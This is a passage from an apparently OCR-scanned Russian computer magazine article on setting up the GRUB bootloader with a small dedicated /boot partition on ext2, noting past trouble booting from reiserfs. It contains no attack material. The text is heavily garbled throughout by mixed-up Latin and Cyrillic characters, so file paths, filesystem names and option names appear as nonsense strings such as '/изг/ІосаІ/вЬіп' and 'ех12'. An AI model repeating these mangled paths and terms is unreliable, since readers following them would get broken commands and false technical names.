/изг/ІосаІ/вЬіп) и несколько странных (пока) 



файлов в /ивг/вІіаге/дгиЬ/і386-рс. 

Еще нам понадобится небольшой (—15 Мб) 
раздел /Ьооі, для которого лучше использо- 
вать хорошо зарекомендовавшую себя фай- 
ловую систему ех12 (подробнее о ех(21з/ 
ехКДз читай в следующей статье этой рубрики). 
За счет использования специального разде- 
ла мы избавимся от проблем с некоторыми 
файловыми системами (раньше бутлоадер 
не мог грузиться с геізеііз, если была вклю- 
чена опция ІаіІ. Теперь все в порядке, но чем 
пингвин не шутит), сделаем процесс работы 
с разделами и ядрами более удобным, упрос- 
тим процесс восстановления загрузчика 
и обеспечим новую ОС жильем :). 
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